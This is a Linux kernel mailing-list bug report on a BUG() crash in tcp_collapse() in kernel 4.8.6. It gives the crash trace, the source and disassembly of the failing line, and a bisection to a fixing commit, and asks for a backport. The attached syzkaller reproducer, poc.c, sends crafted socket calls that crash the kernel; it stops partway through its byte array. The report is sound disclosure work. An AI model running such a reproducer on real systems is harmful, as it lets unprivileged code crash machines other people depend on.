BUG() can be hit in tcp_collapse()

BUG() can be hit in tcp_collapse()

[Vladis Dronov]

[-- Attachment #1: Type: text/plain, Size: 5429 bytes --]

Hello,

It was discovered by Marco Grassi <marco.gra@gmail.com> (many thanks) that the
latest stable Linux kernel v4.8.6 is crashing in tcp_collapse() after making
certain syscalls:

[    9.622886] kernel BUG at net/ipv4/tcp_input.c:4813!
[    9.623299] invalid opcode: 0000 [#1] SMP
[    9.623642] Modules linked in: iptable_nat nf_nat_ipv4 nf_nat
[    9.624287] CPU: 2 PID: 2871 Comm: poc Not tainted 4.8.6 #2
[    9.624730] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.8.2-20150714_191134- 04/01/2014
[    9.625459] task: ffff8801387b9a00 task.stack: ffff8801380e4000
[    9.625929] RIP: 0010:[<ffffffff8178d4ec>]  [<ffffffff8178d4ec>] tcp_collapse+0x3ac/0x3b0
[    9.626609] RSP: 0018:ffff8801380e7b78  EFLAGS: 00010282
[    9.627028] RAX: 00000000fffffff2 RBX: 0000000000000ec0 RCX: 0000000000000ec0
[    9.627587] RDX: ffff8801365cd000 RSI: 0000000000000000 RDI: ffff8801364106e0
[    9.628142] RBP: ffff8801380e7bc8 R08: 0000000000000000 R09: ffff88013b003300
[    9.628704] R10: ffff8801365cd000 R11: 0000000000000000 R12: 0000000000000ec0
[    9.629259] R13: ffff88013663ae00 R14: 00000000cdf0ca26 R15: ffff8801364106e0
[    9.629819] FS:  00007f2cef695800(0000) GS:ffff88013fc80000(0000) knlGS:0000000000000000
[    9.630945] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[    9.631655] CR2: 000000002002a000 CR3: 0000000139d46000 CR4: 00000000001406e0
[    9.632462] Stack:
[    9.632900]  0000000000000000 cdf0da2600000001 ffff880138050000 ffff8801380500a8
[    9.634138]  ffff880100000000 ffff880138050688 0000000000000900 ffff8801364136e0
[    9.635379]  ffff880138050000 ffff880138050688 ffff8801380e7c00 ffffffff8178d630
[    9.636622] Call Trace:
[    9.637087]  [<ffffffff8178d630>] tcp_try_rmem_schedule+0x140/0x380
[    9.637834]  [<ffffffff81791aa8>] tcp_data_queue+0x898/0xcf0
[    9.638538]  [<ffffffff8179210b>] tcp_rcv_established+0x20b/0x6c0
[    9.639268]  [<ffffffff81710143>] ? sk_reset_timer+0x13/0x30
[    9.639968]  [<ffffffff81813009>] tcp_v6_do_rcv+0x1b9/0x420
[    9.640666]  [<ffffffff81710b02>] __release_sock+0x82/0xf0
[    9.641353]  [<ffffffff81710b9b>] release_sock+0x2b/0x90
[    9.642029]  [<ffffffff817890ca>] tcp_sendmsg+0x55a/0xb60
[    9.642714]  [<ffffffff817b29d0>] inet_sendmsg+0x60/0x90
[    9.643389]  [<ffffffff8170c7b3>] sock_sendmsg+0x33/0x40
[    9.644064]  [<ffffffff8170ccee>] SYSC_sendto+0xee/0x160
[    9.645530]  [<ffffffff8170d6f9>] SyS_sendto+0x9/0x10
[    9.646190]  [<ffffffff81909df2>] entry_SYSCALL_64_fastpath+0x1a/0xa4
[    9.646947] Code: 48 c7 07 00 00 00 00 48 89 42 08 48 89 10 e8 cc 7e f8 ff 49 8b 47 30 48 8b 80 80 01 00 00 65 48 ff 80 b0 01 00 00 e9 72 fd ff ff <0f> 0b 66 90 55 48 89 e5 41 57 41 56 41 55 41 54 49 89 fe 53 8b 
[    9.651794] RIP  [<ffffffff8178d4ec>] tcp_collapse+0x3ac/0x3b0
[    9.652554]  RSP <ffff8801380e7b78>

The reproducer is generated by the syzkaller, please, see attached. The
following BUG() is hit:

[net/ipv4/tcp_input.c]
static void
tcp_collapse(struct sock *sk, struct sk_buff_head *list,
             struct sk_buff *head, struct sk_buff *tail,
             u32 start, u32 end)
{
...
/* Copy data, releasing collapsed skbs. */
while (copy > 0) {
        int offset = start - TCP_SKB_CB(skb)->seq;
        int size = TCP_SKB_CB(skb)->end_seq - start;

        BUG_ON(offset < 0);
        if (size > 0) {
                size = min(copy, size);
4812:           if (skb_copy_bits(skb, offset, skb_put(nskb, size), size))
4813:                   BUG();

/usr/src/linux-4.8.6/net/ipv4/tcp_input.c: 4812
0xffffffff8178d390 <tcp_collapse+0x250>:        mov    %r12d,%esi
0xffffffff8178d393 <tcp_collapse+0x253>:        callq  0xffffffff81713ce0 <skb_put>
0xffffffff8178d398 <tcp_collapse+0x258>:        mov    -0x30(%rbp),%r8d
0xffffffff8178d39c <tcp_collapse+0x25c>:        mov    %r12d,%ecx
0xffffffff8178d39f <tcp_collapse+0x25f>:        mov    %rax,%rdx
0xffffffff8178d3a2 <tcp_collapse+0x262>:        mov    %r15,%rdi
0xffffffff8178d3a5 <tcp_collapse+0x265>:        mov    %r8d,%esi
0xffffffff8178d3a8 <tcp_collapse+0x268>:        callq  0xffffffff81714b90 <skb_copy_bits>
0xffffffff8178d3ad <tcp_collapse+0x26d>:        test   %eax,%eax
0xffffffff8178d3af <tcp_collapse+0x26f>:        jne    0xffffffff8178d4ec <tcp_collapse+0x3ac>
...
/usr/src/linux-4.8.6/net/ipv4/tcp_input.c: 4813
0xffffffff8178d4ec <tcp_collapse+0x3ac>:        ud2    

I have checked that the reproducer can cause hitting this BUG() in the kernels
since, at least v4.0. I was not checking the earlier kernels except RHEL-7 ones
(3.10.0-xxx) which are not vulnerable.

The upstream kernels since v4.9-rc1 are not vulnerable too and I have bisected
the repo to the commit c9c3321257 which fixes the issue.

$ git tag --contain c9c3321257e1b95be9b375f811fb250162af8d39
v4.9-rc1

Stable v4.8.6 kernel with the c9c3321257 commit applied does not hit the BUG(),
so I believe this commit should be backported to the stable branch. This commit
applies cleanly to the v4.8.6 tree with just line offsets.

Meanwhile, I see that commit c9c3321257 just increases(?) an skb buffer(?)
(which fixes hitting the BUG() for this exact reproducer), but does not fix the
real reason (so another set of syscalls still may cause hitting the BUG()). This
is why I'm emailing not only to stable@, but also to netdev@, asking to review the
data above and probably develop a fix.

Best regards,
Vladis Dronov | Red Hat, Inc. | Product Security Engineer

[-- Warning: decoded text below may be mangled, UTF-8 assumed --]
[-- Attachment #2: poc.c --]
[-- Type: text/x-c++src; name=poc.c, Size: 27827 bytes --]

#ifndef __NR_mmap
#define __NR_mmap 9
#endif
#ifndef __NR_syz_fuse_mount
#define __NR_syz_fuse_mount 1000004
#endif
#ifndef __NR_syz_test
#define __NR_syz_test 1000001
#endif
#ifndef __NR_syz_open_dev
#define __NR_syz_open_dev 1000002
#endif
#ifndef __NR_syz_open_pts
#define __NR_syz_open_pts 1000003
#endif
#ifndef __NR_socket
#define __NR_socket 41
#endif
#ifndef __NR_bind
#define __NR_bind 49
#endif
#ifndef __NR_sendto
#define __NR_sendto 44
#endif
#ifndef __NR_setsockopt
#define __NR_setsockopt 54
#endif
#ifndef __NR_syz_fuseblk_mount
#define __NR_syz_fuseblk_mount 1000005
#endif

#include <fcntl.h>
#include <pthread.h>
#include <setjmp.h>
#include <signal.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>

__thread int skip_segv;
__thread jmp_buf segv_env;

static void segv_handler(int sig, siginfo_t* info, void* uctx)
{
  if (__atomic_load_n(&skip_segv, __ATOMIC_RELAXED))
    _longjmp(segv_env, 1);
  exit(sig);
}

static void install_segv_handler()
{
  struct sigaction sa;
  memset(&sa, 0, sizeof(sa));
  sa.sa_sigaction = segv_handler;
  sa.sa_flags = SA_NODEFER | SA_SIGINFO;
  sigaction(SIGSEGV, &sa, NULL);
  sigaction(SIGBUS, &sa, NULL);
}

#define NONFAILING(...)                                                \
  {                                                                    \
    __atomic_fetch_add(&skip_segv, 1, __ATOMIC_SEQ_CST);               \
    if (_setjmp(segv_env) == 0) {                                      \
      __VA_ARGS__;                                                     \
    }                                                                  \
    __atomic_fetch_sub(&skip_segv, 1, __ATOMIC_SEQ_CST);               \
  }

static uintptr_t syz_open_dev(uintptr_t a0, uintptr_t a1, uintptr_t a2)
{
  if (a0 == 0xc || a0 == 0xb) {
    char buf[128];
    sprintf(buf, "/dev/%s/%d:%d", a0 == 0xc ? "char" : "block",
            (uint8_t)a1, (uint8_t)a2);
    return open(buf, O_RDWR, 0);
  } else {
    char buf[1024];
    char* hash;
    strncpy(buf, (char*)a0, sizeof(buf));
    buf[sizeof(buf) - 1] = 0;
    while ((hash = strchr(buf, '#'))) {
      *hash = '0' + (char)(a1 % 10);
      a1 /= 10;
    }
    return open(buf, a2, 0);
  }
}

static uintptr_t syz_open_pts(uintptr_t a0, uintptr_t a1)
{
  int ptyno = 0;
  if (ioctl(a0, TIOCGPTN, &ptyno))
    return -1;
  char buf[128];
  sprintf(buf, "/dev/pts/%d", ptyno);
  return open(buf, a1, 0);
}

static uintptr_t syz_fuse_mount(uintptr_t a0, uintptr_t a1,
                                uintptr_t a2, uintptr_t a3,
                                uintptr_t a4, uintptr_t a5)
{
  uint64_t target = a0;
  uint64_t mode = a1;
  uint64_t uid = a2;
  uint64_t gid = a3;
  uint64_t maxread = a4;
  uint64_t flags = a5;

  int fd = open("/dev/fuse", O_RDWR);
  if (fd == -1)
    return fd;
  char buf[1024];
  sprintf(buf, "fd=%d,user_id=%ld,group_id=%ld,rootmode=0%o", fd,
          (long)uid, (long)gid, (unsigned)mode & ~3u);
  if (maxread != 0)
    sprintf(buf + strlen(buf), ",max_read=%ld", (long)maxread);
  if (mode & 1)
    strcat(buf, ",default_permissions");
  if (mode & 2)
    strcat(buf, ",allow_other");
  syscall(SYS_mount, "", target, "fuse", flags, buf);
  return fd;
}

static uintptr_t syz_fuseblk_mount(uintptr_t a0, uintptr_t a1,
                                   uintptr_t a2, uintptr_t a3,
                                   uintptr_t a4, uintptr_t a5,
                                   uintptr_t a6, uintptr_t a7)
{
  uint64_t target = a0;
  uint64_t blkdev = a1;
  uint64_t mode = a2;
  uint64_t uid = a3;
  uint64_t gid = a4;
  uint64_t maxread = a5;
  uint64_t blksize = a6;
  uint64_t flags = a7;

  int fd = open("/dev/fuse", O_RDWR);
  if (fd == -1)
    return fd;
  if (syscall(SYS_mknodat, AT_FDCWD, blkdev, S_IFBLK, makedev(7, 199)))
    return fd;
  char buf[256];
  sprintf(buf, "fd=%d,user_id=%ld,group_id=%ld,rootmode=0%o", fd,
          (long)uid, (long)gid, (unsigned)mode & ~3u);
  if (maxread != 0)
    sprintf(buf + strlen(buf), ",max_read=%ld", (long)maxread);
  if (blksize != 0)
    sprintf(buf + strlen(buf), ",blksize=%ld", (long)blksize);
  if (mode & 1)
    strcat(buf, ",default_permissions");
  if (mode & 2)
    strcat(buf, ",allow_other");
  syscall(SYS_mount, blkdev, target, "fuseblk", flags, buf);
  return fd;
}

static uintptr_t execute_syscall(int nr, uintptr_t a0, uintptr_t a1,
                                 uintptr_t a2, uintptr_t a3,
                                 uintptr_t a4, uintptr_t a5,
                                 uintptr_t a6, uintptr_t a7,
                                 uintptr_t a8)
{
  switch (nr) {
  default:
    return syscall(nr, a0, a1, a2, a3, a4, a5);
  case __NR_syz_test:
    return 0;
  case __NR_syz_open_dev:
    return syz_open_dev(a0, a1, a2);
  case __NR_syz_open_pts:
    return syz_open_pts(a0, a1);
  case __NR_syz_fuse_mount:
    return syz_fuse_mount(a0, a1, a2, a3, a4, a5);
  case __NR_syz_fuseblk_mount:
    return syz_fuseblk_mount(a0, a1, a2, a3, a4, a5, a6, a7);
  }
}

long r[29];

int main()
{
  install_segv_handler();
  memset(r, -1, sizeof(r));
  r[0] = execute_syscall(__NR_mmap, 0x20000000ul, 0x32000ul, 0x3ul,
                         0x32ul, 0xfffffffffffffffful, 0x0ul, 0, 0, 0);
  r[1] = execute_syscall(__NR_socket, 0xaul, 0x1ul, 0x0ul, 0, 0, 0, 0,
                         0, 0);
  NONFAILING(memcpy((void*)0x2000c000, "\x0a\x00\xab\x0b\xbd\xac\xef"
                                       "\xeb\x00\x00\x00\x00\x00\x00"
                                       "\x00\x00\x00\x00\x00\x00\x00"
                                       "\x00\x00\x01\x4f\x51\x84\x6a",
                    28));
  r[3] = execute_syscall(__NR_bind, r[1], 0x2000c000ul, 0x1cul, 0, 0, 0,
                         0, 0, 0);
  NONFAILING(memcpy((void*)0x20000000, "\x35\xf9\x00\x00\xff", 5));
  NONFAILING(memcpy((void*)0x20004000, "\x0a\x00\xab\x0b\xf7\x3c\xf9"
                                       "\xb4\x00\x00\x00\x00\x00\x00"
                                       "\x00\x00\x00\x00\x00\x00\x00"
                                       "\x00\x00\x01\x9c\xda\xfc\x4a",
                    28));
  r[6] = execute_syscall(__NR_sendto, r[1], 0x20000000ul, 0x5ul,
                         0xf545d491279b3b66ul, 0x20004000ul, 0x1cul, 0,
                         0, 0);
  NONFAILING(*(uint32_t*)0x20028000 = (uint32_t)0xff);
  r[8] = execute_syscall(__NR_setsockopt, r[1], 0x1ul, 0x8ul,
                         0x20028000ul, 0x4ul, 0, 0, 0, 0);
  NONFAILING(*(uint16_t*)0x2002fff0 = (uint16_t)0x1);
  NONFAILING(*(uint64_t*)0x2002fff8 = (uint64_t)0x20031ff8);
  NONFAILING(*(uint16_t*)0x20031ff8 = (uint16_t)0x6);
  NONFAILING(*(uint8_t*)0x20031ffa = (uint8_t)0xe71ba577bcaa2606);
  NONFAILING(*(uint8_t*)0x20031ffb = (uint8_t)0xfffffffffffffffe);
  NONFAILING(*(uint32_t*)0x20031ffc = (uint32_t)0xf7);
  r[15] = execute_syscall(__NR_setsockopt, r[1], 0x1ul, 0x1aul,
                          0x2002fff0ul, 0x10ul, 0, 0, 0, 0);
  NONFAILING(memcpy(
      (void*)0x2002b000,
      "\x51\x30\x22\xfe\x94\xe1\xcb\xdf\xe9\x08\x76\x85\x8b\xe1\xbe\x2e"
      "\xd9\x03\x1d\x08\x63\x64\xbe\x68\x4a\x78\xd4\x1a\xdb\x14\x8b\x1c"
      "\x57\x5b\xf7\xe0\x6e\x8c\x1a\xe8\xaa\x9a\x92\x6d\xd2\xf0\x61\xc7"
      "\xb6\x1d\xd3\xbc\xa7\x79\xbe\xef\x99\xef\x8e\x96\x1d\x45\x23\x66"
      "\x47\xb9\x7e\x30\x70\xa5\x46\x42\x37\xcd\x07\xa4\x2c\x60\x44\x19"
      "\x9a\x21\xfd\xa3\x80\x13\x8b\x80\x70\x4d\x4e\xed\x08\x7b\xf3\x9d"
      "\xd8\xd3\x24\xec\x3c\x93\x22\xe7\x5c\x78\x20\x86\x5b\x65\x21\x43"
      "\x60\xe0\x79\x43\xdc\x71\x56\xec\xa6\x54\x82\x0f\x0b\x56\xdd\x0e"
      "\x3f\xce\xfe\xd6\x2f\x2b\x33\xce\x3d\x17\xc6\xb2\x8d\x45\xd0\x65"
      "\x2b\x24\x6e\xba\x82\xe0\x9a\xdd\x7c\x1a\x9a\x30\x06\xd1\xa8\xca"
      "\x79\x99\x6c\x9a\x0a\xf7\x27\x70\x74\xd7\x0e\xfd\x34\x12\x3d\x64"
      "\x50\x4b\xa9\x62\x07\x3c\x08\x90\x03\xbf\x8e\xa7\x2e\x48\xbd\x95"
      "\x61\xab\x44\x5e\xcd\x48\x31\xfe\xe1\x99\x51\x0f\x8c\x5c\xce\x2b"
      "\x94\x4b\x19\xd7\x5d\x39\x82\xe3\x50\x9e\xdd\x1a\x81\x35\x12\x76"
      "\xf3\x63\xb2\x74\xf2\x76\xd0\xac\x6e\x71\x94\xe2\xa3\x62\xfe\x9d"
      "\xf1\xc7\x76\x20\x2f\x30\xd7\x88\xe8\x81\xe0\x14\xaa\x73\xfc\xbe"
      "\x87\xb9\x55\x4b\x72\x09\x72\x5c\x18\x5a\xa2\x8d\x02\x78\xc0\x88"
      "\x81\xd5\x89\x04\x24\xbc\xde\x21\x71\x33\xd9\x56\xfd\x33\xc7\x7d"
      "\x8b\xf9\x5a\x82\x7a\xf6\xfc\x0a\x16\xc9\x10\x3a\x40\x86\xd5\x4d"
      "\x98\x94\x43\x32\x8c\xec\xe1\x50\x2b\x1e\x4a\x3d\xf6\xac\x2d\x88"
      "\x71\x1a\x39\x49\x3c\x1e\x57\x46\xc8\x76\x0d\x98\xcf\xc1\xe8\x91"
      "\x47\x8c\x2f\x5e\x8c\xd9\x2e\x8d\x8b\xaa\xc1\x7f\x1b\x7c\x05\xad"
      "\x7b\xa0\x76\x07\x47\xf5\xc5\x22\xed\xe8\x9c\xdc\xf0\x9d\xc2\x67"
      "\xc2\xb2\xdc\xcb\xc0\x2f\x6f\x7a\xf6\x87\x98\xee\xda\x7f\xd7\x69"
      "\xd4\xcb\x92\xa7\x42\x09\x30\xf1\x99\x9b\x1d\x46\xf2\x6c\x1a\xce"
      "\xe7\x08\x7d\x06\x7d\xce\x2e\x21\xcc\xec\x20\xa4\xec\x95\xdd\x08"
      "\x1c\x49\xe9\xcc\x48\xda\xa6\x16\x83\xf5\x31\x22\x58\xb6\xc2\xf6"
      "\xbb\x9c\x69\xee\x87\x90\x73\xf8\xf3\x61\x30\xbe\x7e\x86\xdf\x53"
      "\x88\xdb\xf9\x0c\xe0\x75\xb8\x0b\xf9\xd7\xbc\x3e\x9c\xa2\x31\x55"
      "\xaf\x7a\x68\xc4\xf9\x64\xc2\x54\x25\xb2\xa1\x88\x60\x70\x3e\xe4"
      "\x1f\x3a\x8b\x23\xdb\x6e\x37\x81\x47\xbe\xa8\x85\x1b\x20\x0f\xcd"
      "\x1d\x8a\x66\x40\x99\x42\xda\xaf\x4b\x54\xa9\xc1\xa9\x5f\xf8\x7e"
      "\xd4\xd2\xc6\x15\x72\x85\x55\x20\x86\x4f\x20\x0d\x30\xf3\xa4\x80"
      "\xd2\xd5\x8e\xb2\xe3\x02\xe7\x5f\x8b\x66\xf1\x49\x6b\x9a\xc7\x58"
      "\x75\xfc\xa7\xcc\x2f\x9e\xd3\x31\x97\x61\xae\xb0\x4f\x1b\x57\x4d"
      "\x34\x9e\x6c\xac\x9f\x79\x9c\xe6\x09\x28\x4a\x1c\xe1\x79\xa5\x4c"
      "\x46\x42\x2a\x28\x9d\xa2\xf0\x2c\xe5\x01\x73\x78\x2e\x2c\x56\x01"
      "\x5e\x29\x94\x8d\x69\x88\x8d\x0a\x68\x9b\x34\xc5\x8b\xf0\xdf\x3a"
      "\xc2\x69\x8a\xc3\x3f\x57\xb9\x17\x95\x02\x2f\x4d\x60\xd9\xab\xdf"
      "\xb1\x98\xa9\xda\x6c\x06\x5e\x10\x9a\xc1\x03\x77\xf1\x7b\xba\x1a"
      "\xc3\xba\x92\x4a\x57\xdb\x17\x19\x15\x89\xf4\x6a\xdf\x3b\x47\x8e"
      "\x86\xa7\x88\x39\x20\x00\xf9\xc9\xe0\x27\x32\x3a\x8b\x15\xd3\x61"
      "\x88\x65\x38\xed\xac\xc3\x10\x66\xef\xd4\x90\x4d\x05\x30\xae\x78"
      "\x2a\x1a\xed\x69\xdf\xd3\x5b\x17\x63\xd1\xe3\x3a\x9e\x4b\x54\x9b"
      "\xc9\xdf\x89\xa5\x82\xaa\x77\xcf\x70\x13\xe7\x8c\x24\xa0\xc9\x40"
      "\x33\x02\x1f\xd5\x7e\x37\x61\x5f\x60\x7c\xe7\xc8\x95\x7a\xb0\x70"
      "\x23\xad\x51\x97\xf0\x2d\x32\xff\x6c\xeb\x64\x2f\xcd\x31\xd5\x69"
      "\x08\x8e\xf5\x0e\x04\x76\x4b\xb3\x9c\xe1\xee\xaf\x56\xc3\xeb\x89"
      "\x66\x8a\x25\x70\x38\xc1\xb3\x4f\x87\x59\x51\xdd\xd4\xe6\xc4\x48"
      "\xc9\x7d\x34\xce\x51\x7b\x16\x58\xe0\x15\xf7\x4f\x56\xed\x88\x06"
      "\x2c\x16\x33\x5c\xfb\x14\x01\xc9\xf9\xdd\x75\x7e\xa6\x39\xc6\x5c"
      "\xa4\x8f\xd4\x05\x05\xb2\x81\x24\xcf\x74\x7c\x2f\xe5\x62\x91\x4a"
      "\xb1\xe6\x12\x5f\x22\x70\x25\x0a\x58\x9d\x0b\xed\x7e\xdf\x17\x96"
      "\x13\xbd\x63\x59\x58\x74\x2b\xd8\xad\xc6\x16\x1d\xec\x2a\xea\xdd"
      "\xba\xb4\x75\x07\x97\xdb\xe4\xa6\x64\x0a\x28\x37\x3e\x4b\x79\x60"
      "\x10\x4c\x6e\xae\x80\x1e\x78\x2b\x4b\x6e\x58\x2d\x81\x28\x56\x37"
      "\xd9\x0b\x1a\x23\xd0\x69\x11\x74\xd9\xab\xfb\x44\xfe\xc7\xc9\x52"
      "\xaf\x06\xec\x1f\x37\x39\x2c\x42\x38\x5f\xc6\xea\x17\x0c\xc3\xb9"
      "\xa8\xbf\xf0\xc4\x58\x77\x47\xc2\x40\xee\xbf\x01\xfc\x74\xa7\x1a"
      "\xed\xb7\xc4\xc5\xc7\xda\x51\x9b\x11\xb1\x53\xac\xca\x0b\xde\x29"
      "\x18\xa0\x22\x35\x5f\xa5\xf5\x48\xff\xff\xae\xd3\xd7\x61\xb3\x17"
      "\x4d\xa5\xab\x4a\xd5\xf1\x24\x6d\x57\x08\x02\xc1\x0c\xfb\x09\x9d"
      "\x0b\xc6\xa9\x61\xdf\xaf\x28\xfa\xfb\x7d\xc2\xda\x34\xaf\x48\x97"
      "\x79\xa1\xb4\xce\x66\x1f\x4e\xfe\xeb\x8d\x90\x51\xc4\xaa\x39\xf2"
      "\xb3\xf1\x5a\x3d\xe9\xaa\x8c\xcf\xa9\xce\x04\x47\x66\x19\xba\xa6"
      "\x26\xcf\x78\xad\x00\xab\xb9\xa7\xb0\xb8\x18\xd0\x64\xb4\x39\x4c"
      "\x24\xc3\x8a\x15\x44\x0a\x86\x10\x30\x9c\x53\x93\xf1\x87\x42\x38"
      "\x81\x94\xdb\x2d\xc1\xbd\x69\x26\x7c\x9b\x65\xd5\xef\xe4\x1d\xe5"
      "\x97\x30\xb2\xaf\x73\x3c\x33\xc8\xe2\x77\xfa\x97\x4f\xf5\x2f\xaf"
      "\xd5\x17\x27\xab\xa1\xfd\x1f\x71\x5f\x01\x5f\xb4\x4c\x77\x5d\xeb"
      "\x69\xda\xd3\xd6\xdf\xad\x95\xb1\x28\xce\xd3\x46\x10\x91\xaa\xbd"
      "\xb2\x48\x67\x58\x0a\x7e\x3b\x6f\x0c\x56\x53\x94\xd1\x05\xa4\xef"
      "\x5c\xb8\x18\x9d\x4c\x54\x50\x10\x8d\xf9\x1f\xa8\x48\xd8\x76\x8b"
      "\xd5\x45\xb8\xb9\x9c\x6d\x4f\x1a\x9c\x24\xc7\xdc\xbd\xa3\x13\x10"
      "\x94\xd9\x2e\x8a\xc1\x27\x65\x12\x44\xab\xd8\xf4\x17\x6d\x0d\x22"
      "\xe3\x3d\x4d\x5a\x4c\xe6\x82\xaf\x5d\x75\xb3\x4b\xf1\xdb\xaf\x6a"
      "\x84\x78\x7a\x04\x1d\x81\xf1\xe6\x9d\x41\xfe\xb4\x85\x75\xea\x8f"
      "\xc1\xc1\x7a\x8e\x3b\xbd\xb5\x90\x09\x03\x77\xa0\x4f\x92\x7b\x76"
      "\xd1\xe0\xf0\x03\x26\xec\x0b\x39\xf6\x4b\x72\xe1\xfd\x54\x8a\x90"
      "\x45\x94\xff\xc9\x62\xd9\x79\x08\x22\x2d\xb8\x4e\xf0\x07\x11\xd1"
      "\xfd\xb1\x8f\x60\x92\x76\x85\x3d\xd3\x7c\xdb\x96\x81\x73\x22\x63"
      "\x0d\xa1\x5b\x39\x10\x44\xc2\xf0\xa0\x8d\x08\xa2\x93\xba\xb4\x83"
      "\x85\xaf\x74\xfa\x58\x78\x7b\x29\xba\x98\x45\x3c\x70\x2d\xf4\x6d"
      "\x4e\x43\x99\x09\x4c\xa5\x69\xe7\x8c\x17\x64\xe9\x0e\xa2\xf8\x66"
      "\xe6\xd2\x2c\xcb\x5a\xf3\xbc\xd5\x12\xe1\xca\x33\x06\xc5\x4e\x26"
      "\x73\x8c\x3e\xb7\x26\xbf\xf0\xcf\xaa\xd1\x26\x51\x5b\x3a\x7f\x95"
      "\x39\xfb\x88\x60\x6d\x55\x4d\xa7\xca\xb1\xdf\x34\x9b\x10\xbf\x26"
      "\x69\x9e\xa9\x24\x51\xf6\x06\x75\xc6\x1f\x1e\x2a\x33\x99\x97\xd6"
      "\xd4\xe6\xa5\x62\x6d\x0b\x48\x34\x4d\x81\xd5\xfa\xcd\x97\x62\x48"
      "\x7e\x30\xbe\x1d\x4f\xce\x78\x1f\x85\x09\x28\x05\x0a\xda\x22\x27"
      "\x72\xe7\xa4\xda\x29\xc2\x78\xa7\xb7\xa7\x11\x46\xbc\xd5\x3a\x27"
      "\xce\xf7\x33\x87\xff\xed\x00\x13\xd8\x5a\xc9\xc4\x1e\x01\x4b\xc7"
      "\xd7\x58\x45\xe5\x35\x31\x8c\xe7\xb9\x86\xac\xf1\x96\x6b\x3b\xc0"
      "\xb6\xf2\x27\xfb\x23\x96\xad\x3d\x55\xf6\x6e\x7f\xdc\xdc\xad\xc3"
      "\x9b\xdb\xe5\x4b\xf7\x4c\x32\x8f\x3c\x04\x47\x75\x67\x19\xe4\x2a"
      "\x7d\xbd\xff\x28\x3c\x52\x2f\x44\x98\xbd\x36\x8a\xee\xc1\x0d\x33"
      "\x50\x36\x58\x58\x41\xa9\x9b\xb9\xf6\xe2\x2e\xb4\xc2\x97\x22\xff"
      "\x88\xc1\x77\x56\x3a\xe3\x12\x96\xef\x26\x28\xa5\xa1\x5f\x9c\x3b"
      "\x04\x2f\xd6\xba\xdf\x06\x8d\xc2\xf0\x4f\x61\xe0\x03\x46\xd2\x02"
      "\x29\x31\xf9\x49\xec\x7c\xe6\xd2\x31\xbd\x5a\x52\x38\x79\xcb\x00"
      "\x33\xf7\xa4\x78\xb8\x75\xa0\x65\x64\x4e\xf1\x99\x99\x57\x3a\x71"
      "\x07\x9b\xa1\x92\xea\xa8\xf2\xa8\x63\xa2\x32\x8f\xdd\x40\xb8\x02"
      "\x18\xce\xc9\x27\x62\xb3\x8e\x9a\x9e\xae\x18\x8d\x6b\x15\xe1\xa5"
      "\x65\xb2\xa8\x89\x0c\x26\xfc\xfd\x5f\xe2\x81\x43\xe8\xd5\x5c\xe4"
      "\xea\xf3\xb3\xed\x2e\xd8\x06\x36\x11\x1a\xb3\x0f\xb2\x75\xd2\x18"
      "\x6b\xaf\x13\x66\x1f\xd6\x31\xc4\xd0\xb2\x57\xc4\xde\xeb\x7d\xfa"
      "\x78\x31\xe0\x31\x5a\x83\x96\x5b\x97\x80\xa1\x78\xfa\x39\x89\xf7"
      "\x3f\x9a\x93\x46\xd8\x49\x33\xd7\xa9\x17\x5c\x5e\xbe\x19\xc1\xa3"
      "\x02\xa1\xce\x13\x34\x94\x9e\x28\xe2\xac\xa0\xda\x55\xc9\xbf\xfe"
      "\x10\x3e\xb1\x4f\x64\x71\xa1\x98\x3d\x0d\x1a\x7e\xf7\x3a\x5a\x98"
      "\x78\xce\x90\x74\x4f\x73\xa6\x3a\x37\x74\x9e\xb6\x57\x53\x68\x82"
      "\x09\x54\x95\x82\xb8\x47\x66\xcf\xb3\x04\xe1\x05\x18\x7a\x29\x78"
      "\x03\xac\x48\xc1\x50\xa2\x65\x73\xf0\x71\xb1\x4d\xf8\xfb\xe4\xf0"
      "\x71\x9e\x90\xa5\x3e\xc4\x59\xf8\x2e\xaa\x2d\x20\x90\x72\x01\xa6"
      "\x77\x03\xc6\x94\xd8\x2c\xca\xb0\xd7\xed\xda\xae\x1b\x8b\xef\x5e"
      "\xfd\x7f\xbd\x11\x78\x94\x97\x96\xc5\x67\xef\xb0\x73\x7e\xbd\xa3"
      "\xe2\x1a\x34\x20\x36\xf8\xb6\xdd\x1e\xa4\x9e\x57\xa6\xc2\x0a\x10"
      "\x94\x33\xc1\x07\x51\x31\x7d\xc3\x92\x1c\x9c\xe2\xa0\xaa\x28\x37"
      "\x23\x96\xfb\x33\x08\x70\xe6\xc5\x25\x3e\x39\xb3\x02\x00\xa4\xc5"
      "\xa3\x73\x08\xda\x6b\x24\xa4\x2f\x27\xa7\x50\xab\x48\x1f\x99\x66"
      "\x55\xda\xad\x00\x01\x88\x4f\xb7\x95\xa5\x1f\xf1\x71\xdc\x43\xab"
      "\x27\x83\xfc\x00\x93\x98\xbf\x92\x4e\x76\x03\xc1\xb2\xaa\xdc\xb8"
      "\xeb\x97\x7b\x6d\x5a\xdc\xac\x43\xa5\x9a\xe5\x5e\x89\x2d\x12\xf1"
      "\x86\xb6\xe9\x07\xf1\x4b\x53\x41\x2c\xbd\xd1\xfc\xb3\x7a\xcf\xc3"
      "\xf3\xc7\xfb\x00\x9b\x25\xf0\xfd\x88\x88\x4b\xf8\x6e\x7e\x40\x2a"
      "\x41\xab\xc6\x1f\x09\x3a\x09\x65\x47\x00\xd6\xd3\x73\xed\xa0\x93"
      "\xe4\xb6\xa1\x1e\x5b\xac\xa6\xee\x19\x12\x07\xe8\x15\x5a\x82\xd9"
      "\xc8\x36\xec\xe0\x42\xc7\x92\x2b\x43\x60\x79\xa9\x91\x7a\x7a\xdb"
      "\x6a\xae\x2e\xbe\x44\x30\xef\x1e\x76\xc5\x4a\x9d\xdb\x53\xa2\xf7"
      "\x70\x36\x33\x47\xae\x50\xb6\x3e\xcd\xb9\x35\xd0\x4f\x43\xc3\xbb"
      "\x49\xb6\x83\xc6\xd7\xca\xab\x13\x7e\xdb\x9c\xc3\x8c\xcb\x32\xb8"
      "\x98\x9e\xfe\xe9\x2a\x85\x6a\x1f\xa6\x46\x6d\xb7\x8b\xc8\x4f\x8b"
      "\x3a\xe2\xca\xb5\x5d\xaa\x24\xd3\x9b\x0d\xdc\x57\xc9\x57\xa8\x3a"
